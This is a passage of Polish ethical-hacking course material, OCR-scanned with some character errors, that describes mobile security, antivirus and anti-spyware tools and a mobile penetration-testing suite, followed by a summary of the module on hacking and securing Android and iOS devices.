o Ataki MUM, ktére moga przechwyci¢ hasta i inne poufne informacje podczas korzystania z
publicznych lub prywatnych sieci Wi-Fi

o Ataki SpearPhishing, ktére moga zagrozi¢ warto$ciowym celom w Twojej organizacji i zainfekowac je
kodem kradngcym dane

o Skany rozpoznawcze, ktdre identyfikujg APT i zainfekowane urzadzenia w Twojej sieci

o Nieuczciwe ataki Wi-Fi AP, ktére moga przejg¢ kontrole nad bezpiecznymi sesjami SSL w celu
kradziezy poufnych informacji

zIPS jest wyposazony w silnik analizy behawioralnej, ktéry automatycznie wykrywa i blokuje ztosliwe
zagrozenia, monitorujgc, w jaki sposéb zmieniajg one charakterystyke urzadzenia mobilnego. Skanuje
wszystkie aplikacje mobilne i przegladarki, aby zwiekszyé bezpieczeistwo urzadzenia i chronié cata
organizacje przed atakami MITM, IPv4 i IPv6. W przypadku incydentu zapewnia automatyczne
powiadomienia zaréwno dla szefa ochrony, jaki dla uzytkownika. Ponadto wykorzystuje , nieinwazyjne
monitorowanie pakietéw” do wykrywania zaawansowanych zagrozen mobilnych

BullGuard Mobile Security i antywirus

BullGuard Mobile Security and Antivirus to aplikacja na urzadzenia z systemem Android, ktéra
zapewnia catkowitg ochrone urzadzen i danych osobowych. Zapewnia petng ochrone antywirusowg
telefonu komdrkowego przed wszystkimi wirusami telefonu komdrkowego. Zdalnie blokuje, lokalizuje
i usuwa dane, jesli urzadzenie zostanie zgubione lub skradzione. Blokuje réwniez niechciane potgczenia
i SMS-y.

Oto niektére dodatkowe narzedzia ochrony urzadzen mobilnych:
Norton Mobile Security dla systemu iOS (https://us.norton.com)
Comodo Mobile Security (https://rn.comodo.com)

Bitdefender Mobile Security & Antivirus (https://www.bitdefender.com)
ESET Mobile Security & Antivirus (https://www.eset.com)

WISelD Personal Vault (https://www.wiseid.com)



Mobilne oprogramowanie antyszpiegowskie
Malwarebytes na Androida

Malwarebytes to mobilne narzedzie do ochrony przed ztosliwym oprogramowaniem, ktore zapewnia
ochrone przed ztosliwym oprogramowaniem, oprogramowaniem ransomware i innymi rosngcymi
zagrozeniami dla urzadzen z systemem Android. Wykrywa i usuwa oprogramowanie reklamowe i
ztosliwe oprogramowanie, automatycznie blokuje ztosliwe oprogramowanie i oprogramowanie
ransomware, przeprowadza audyty prywatnosci dla wszystkich aplikacji i zapewnia bezpieczne
przegladanie.

Niektére dodatkowe mobilne narzedzia antyszpiegowskie to:
AntiSpy Mobile ( https://antispymobile.com)

Spyware Detector - Spy Scanner (https://play.googie.com)
iAmNotified - Anti Spy System ( https://iamnotified.com)
Privacy Scanner (AntiSpy) Free (https://play.google.com)
Certo AntiSpy ( https://www.certosoftware.com)

Zestaw narzedzi do testowania pidra mobilnego
Immuniweb MobileSuite

Immuniweb MobileSuite wykorzystuje technologie uczenia maszynowego, aby rozszerzyé i
przyspieszy¢ reczne testowanie penetracji mobilnej aplikacji mobilnych iOS i Android. Zapewnia
skalowalne, szybkie i obstugujgce DevSecOps testy aplikacji mobilnych i zaplecza z dostosowanymi
wytycznymi dotyczacymi Srodkéw zaradczych i zerowg umowg SLA dotyczacg fatszywych trafien.
Ponadto zapewnia integracje narzedzi SDLC i CI/CD oraz WAF dla luk w zapleczu mobilnym. Korzystajac
z tego zestawu narzedzi, specjalisci ds. bezpieczeristwa mogga przeprowadzac statyczne, dynamiczne i
interaktywne testy bezpieczenstwa za pomocg SCA. Zapewnia réwniez rézne raporty, takie jak Threat-
Aware Risk Scoring, Tailored

Podsumowanie modutu

W tym module oméwiono rézne wektory i ataki na platformy mobilne. Ponadto szczegétowo
omowiono rézne techniki i narzedzia do hakowania urzadzen z Androidem. Zawiera réwniez
szczegdtowe wyjasnienie, w jaki sposéb mozna zabezpieczy¢ urzgdzenia z Androidem za pomocg
narzedzi bezpieczenstwa Androida. Ponadto opisywat réine techniki i narzedzia do hakowania
urzadzen z systemem i0S. Omdwiono réwniez, w jaki sposdb mozna zabezpieczy¢ urzadzenia z
systemem iOS za pomocy narzedzi bezpieczeristwa iOS. Ponadto podkreslono znaczenie zarzadzania
urzadzeniami mobilnymi. Nastepnie przedstawit rézne sSrodki zaradcze w celu ochrony urzadzen
mobilnych przed prébami wtaman hakerskich. Ostatecznie zakoriczyto sie szczegétowg dyskusjg na
temat tego, w jaki sposdb mozina zabezpieczy¢ urzadzenia mobilne za pomocy narzedzi
bezpieczernstwa mobilnego. W nastepnym module szczegdétowo omdwimy, w jaki sposdb osoby
atakujgce, a takze etyczni hakerzy i pentesterzy wykonujg hakowanie loT i OT w celu
skompromitowania urzadzen loT i OT.



